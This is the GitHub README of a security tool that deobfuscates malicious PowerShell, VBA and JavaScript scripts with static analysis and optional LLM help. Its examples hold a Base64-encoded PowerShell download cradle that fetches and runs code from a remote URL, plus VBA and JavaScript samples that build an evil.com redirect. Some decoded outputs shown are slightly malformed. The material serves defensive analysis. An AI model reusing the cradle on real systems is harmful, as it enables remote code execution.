gnaixnaij/deobfuscator

GitHub: gnaixnaij/deobfuscator

结合静态分析与 LLM 对 PowerShell、VBA 和 JavaScript 恶意脚本进行自动化反混淆,还原其原始逻辑与意图的安全分析工具。

Stars: 0 | Forks: 0

# AI 反混淆工具 使用静态分析和/或 LLM 对 PowerShell、VBA 和 JavaScript 脚本进行反混淆。 检测并还原常见的混淆技术,揭示恶意脚本的原始意图。 ## 安装 ``` git clone git@github.com:gnaixnaij/deobfuscator.git cd deobfuscator pip install -e . ``` ## 用法 ### 基础(静态分析,无需 API key) ``` # 反混淆 PowerShell 脚本 deobfuscator -f obfuscated.ps1 # 反混淆 VBA 宏 deobfuscator -f macro.bas # 反混淆 JavaScript deobfuscator -f payload.js # 从 stdin 管道输入 cat script.ps1 | deobfuscator --stdin ``` ### 基于 LLM 的分析(可选) ``` # 启用 LLM 分析(需要 OPENAI_API_KEY) deobfuscator -f malware.vba --llm # 指定 API key 和模型 deobfuscator -f evil.js --llm --api-key sk-... --model gpt-4o # 使用任何兼容 OpenAI 的 API(本地模型等) deobfuscator -f obfuscated.ps1 --llm \ --api-key not-needed \ --base-url http://localhost:1234/v1 \ --model local-model ``` ### 强制指定语言 ``` deobfuscator -f script.ps1 -l powershell deobfuscator -f script.txt -l vba deobfuscator -f script.txt -l javascript ``` ## 支持的语言与技术 | 语言 | 静态技术 | LLM 增强 | |----------|-----------------|------------------| | **PowerShell** | Base64 解码、IEX 提取、变量噪声去除、嵌套调用解包 | 更深度的分析、摘要、更清晰的重构 | | **VBA** | Chr() 解析、换行续接折叠、字符串拼接、死代码变量剔除 | 混淆技术识别、用途摘要 | | **JavaScript** | atob/base64、十六进制转义、Unicode 转义、String.fromCharCode()、eval() 解包 | 技术分类、意图分析 | ## 示例 **输入 (PowerShell):** ``` $a = "JABhACAAPQAgACcAaAB0AHQAcABzADoALwAvAGIAbwBvAG4AdABvAHAAcABvAG8AbgAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAuAHAAcAAnADsAIABpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACQAYQApAA==" $decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($a)) iex $decoded ``` **输出:** ``` $ iex (New-Object Net.Webclient).DownloadString($a) ``` 揭示了一个从远程 URL 获取并执行 payload 的下载执行器(download cradle)。 **输入 (VBA):** ``` str = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & _ Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(118) & _ Chr(105) & Chr(108) & Chr(46) & Chr(99) & Chr(111) & Chr(109) ``` **输出:** ``` str = "https://evil.com" ``` **输入 (JS):** ``` var encoded = String.fromCharCode(112, 97, 121, 108, 111, 97, 100); eval(atob("ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8vZXZpbC5jb20vIj8+")); var _0x5678 = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d'; ``` **输出:** ``` var encoded = "payload"; eval(document.location="https://evil.com/"?>); var _0x5678 = "https://evil.com"; ``` ## 环境变量 | 变量 | 描述 | |----------|-------------| | `OPENAI_API_KEY` | 用于基于 LLM 反混淆的 API key | ## 许可证 MIT
标签:DLL 劫持, DNS 反向解析, Petitpotam, 云资产清单, 人工智能, 反混淆, 大语言模型, 恶意代码分析, 搜索语句(dork), 文档结构分析, 用户模式Hook绕过, 逆向工具, 逆向工程, 配置文件